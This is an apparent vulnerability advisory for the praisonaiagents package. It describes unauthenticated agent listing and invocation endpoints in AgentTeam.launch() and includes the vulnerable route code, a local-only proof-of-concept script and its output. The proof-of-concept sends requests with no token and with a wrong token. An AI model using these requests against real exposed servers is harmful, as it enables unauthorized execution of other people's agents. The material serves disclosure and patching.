praisonaiagents
Affected
- introduced
0, fixed1.6.59(ecosystem)
Fixed versions
1.6.59
Fix
- Fixed version
1.6.59pip install --upgrade praisonaiagents==1.6.59
Advisory
Also known as: CVE-2026-57118, GHSA-x8cv-xmq7-p8xp
PraisonAI AgentTeam.launch exposes unauthenticated remote agent listing and invocation endpoints
PraisonAI AgentTeam.launch() exposes unauthenticated remote agent invocation endpoints
Summary
PraisonAI's documented Python AgentTeam.launch() / Agents.launch() HTTP server starts externally reachable agent invocation endpoints without any authentication enforcement.
The current implementation registers GET /{path}/list, POST /{path}, and POST /{path}/{agent_id} routes. The POST routes directly call agent.chat(...). Requests with no Authorization header are accepted, and requests with an obviously wrong bearer token are also accepted. The default Python API bind host for Agents.launch() is 0.0.0.0, and official documentation shows host="0.0.0.0" for remote access.
This is a sibling/incomplete-fix variant of PraisonAI's prior unauthenticated API server and call server advisory family. Nearby server surfaces were hardened to require tokens, fail closed, or bind locally by default, but the AgentTeam.launch() FastAPI path still exposes unauthenticated agent execution on current upstream main and the latest release.
This report is scoped to the Python AgentTeam.launch() / Agents.launch() route-registration path. It does not require adjudicating whether the separate praisonai serve agents --api-key CLI path is correctly enforced.
Affected Components
praisonaiagents2f9677abb2ea68eab864ee8b6a828fd0141612e1v4.6.57src/praisonai-agents/praisonaiagents/agents/agents.pyAgentTeam.launch() begins at line 1923; the group POST route is registered at line 2007; the group handler invokes agent_instance.chat(...) at line 2042; the unauthenticated list route is registered at line 2086; per-agent handlers invoke agent.chat(...) at line 2117.AgentTeam.launch() / exported alias AgentsGET /{path}/list: lists deployed agents.POST /{path}: sequentially invokes all agents in the team.POST /{path}/{agent_id}: invokes a specific agent.Current vulnerable sink:
@app.post(path)
async def handle_query(request: Request, query_data: Optional[AgentQuery] = None):
...
response = await loop.run_in_executor(
None,
copy_context_to_callable(lambda ci=current_input: agent_instance.chat(ci)),
)
Per-agent sink:
app.post(agent_path)(create_agent_handler(agent_instance))
...
response = await loop.run_in_executor(
None,
copy_context_to_callable(lambda q=query: agent.chat(q)),
)
List endpoint:
@app.get(f"{path}/list")
async def list_agents():
return {"agents": [{"name": agent.display_name, "id": ...} for agent in self.agents]}
There is no middleware, dependency, token comparison, bearer-token parsing, API-key check, or startup fail-closed guard in this launch path.
Security Boundary
This is not a trust-model-only report. PraisonAI's own current security documentation says API servers were hardened so that anonymous requests return 401 and API servers bind to 127.0.0.1 by default after the prior unauthenticated API advisory family.
The codebase also contains hardened sibling implementations:
praisonai.deploy.api now has AUTH_ENABLED, PRAISONAI_API_TOKEN, generated tokens, and 401 Unauthorized checks (src/praisonai/praisonai/deploy/api.py lines 44-62 and 69-97).praisonai.gateway.server.WebSocketGateway validates external bind safety, requires a token for external binds, checks bearer/query/cookie auth, and validates WebSocket auth (src/praisonai/praisonai/gateway/server.py lines 328-424).praisonai call hardening is documented as requiring CALL_SERVER_TOKEN or explicit opt-out.AgentTeam.launch() remains outside those shared controls even though it exposes the same class of network-facing agent invocation surface.
Local-Only Reproduction
Run the local-only PoV script below with current source on PYTHONPATH:
PYTHONPATH="/path/to/PraisonAI/src/praisonai-agents:/path/to/PraisonAI/src/praisonai" \
python poc_agentteam_launch_unauth.py
Expected vulnerable result:
[poc] HIT: unauthenticated clients invoked AgentTeam endpoints
Observed on current upstream main:
{
"results": [
{
"body": {
"agents": [
{
"id": "pov_agent",
"name": "pov_agent"
}
]
},
"case": "no_auth_list",
"method": "GET",
"path": "/agents/list",
"status": 200
},
{
"case": "no_auth_group",
"method": "POST",
"path": "/agents",
"status": 200,
"body": {
"final_response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker",
"query": "marker",
"results": [
{
"agent": "pov_agent",
"response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker"
}
]
}
},
{
"case": "wrong_bearer_group",
"method": "POST",
"path": "/agents",
"status": 200,
"body": {
"final_response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker",
"query": "marker",
"results": [
{
"agent": "pov_agent",
"response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker"
}
]
}
},
{
"case": "no_auth_per_agent",
"method": "POST",
"path": "/agents/pov_agent",
"status": 200,
"body": {
"agent": "pov_agent",
"query": "marker",
"response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker"
}
}
]
}
The PoV binds to 127.0.0.1, uses a randomly selected local port, stubs agent.chat() to avoid any external LLM provider, and sends only local HTTP requests.
Standalone PoV script:
#!/usr/bin/env python3
"""
Local-only PoV for PRAI-CAND-003.
Starts a PraisonAI AgentTeam/Agents HTTP server on 127.0.0.1 with a stubbed
agent response, then proves both the group endpoint and per-agent endpoint
execute without authentication. No model provider or external network is used.
"""
import json
import socket
import time
import types
import threading
from contextlib import closing
import requests
from praisonaiagents import Agent, Agents
def _free_port() -> int:
with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:
sock.bind(("127.0.0.1", 0))
return sock.getsockname()[1]
def main() -> int:
port = _free_port()
agent = Agent(
name="pov_agent",
role="tester",
goal="test",
backstory="test",
llm=None,
)
def stub_chat(self, query, *args, **kwargs):
return f"POV_UNAUTH_AGENTTEAM_EXECUTED:{query}"
agent.chat = types.MethodType(stub_chat, agent)
team = Agents(agents=[agent])
launch_thread = threading.Thread(
target=lambda: team.launch(path="/agents", port=port, host="127.0.0.1", debug=False),
daemon=True,
)
launch_thread.start()
base = f"http://127.0.0.1:{port}"
for _ in range(40):
try:
response = requests.get(base + "/health", timeout=0.25)
if response.status_code == 200:
break
except Exception:
time.sleep(0.1)
else:
raise SystemExit("[poc] MISS: server did not start")
cases = [
("no_auth_list", "GET", {}, "/agents/list", None),
("no_auth_group", "POST", {}, "/agents", {"query": "marker"}),
(
"wrong_bearer_group",
"POST",
{"Authorization": "Bearer definitely-wrong"},
"/agents",
{"query": "marker"},
),
("no_auth_per_agent", "POST", {}, "/agents/pov_agent", {"query": "marker"}),
]
results = []
for name, method, headers, path, body in cases:
if method == "GET":
response = requests.get(base + path, headers=headers, timeout=5)
else:
response = requests.post(base + path, json=body, headers=headers, timeout=5)
try:
body = response.json()
except Exception:
body = response.text
results.append(
{
"case": name,
"method": method,
"path": path,
"status": response.status_code,
"body": body,
}
)
print(json.dumps({"port": port, "results": results}, indent=2, sort_keys=True))
expected_marker = "POV_UNAUTH_AGENTTEAM_EXECUTED:marker"
for result in results:
if result["status"] != 200:
raise SystemExit(f"[poc] MISS: {result['case']} returned {result['status']}")Critical Basis: CVSS v3 score 9.8, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
0, fixed 1.6.59 (ecosystem)1.6.59
1.6.59pip install --upgrade praisonaiagents==1.6.59Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0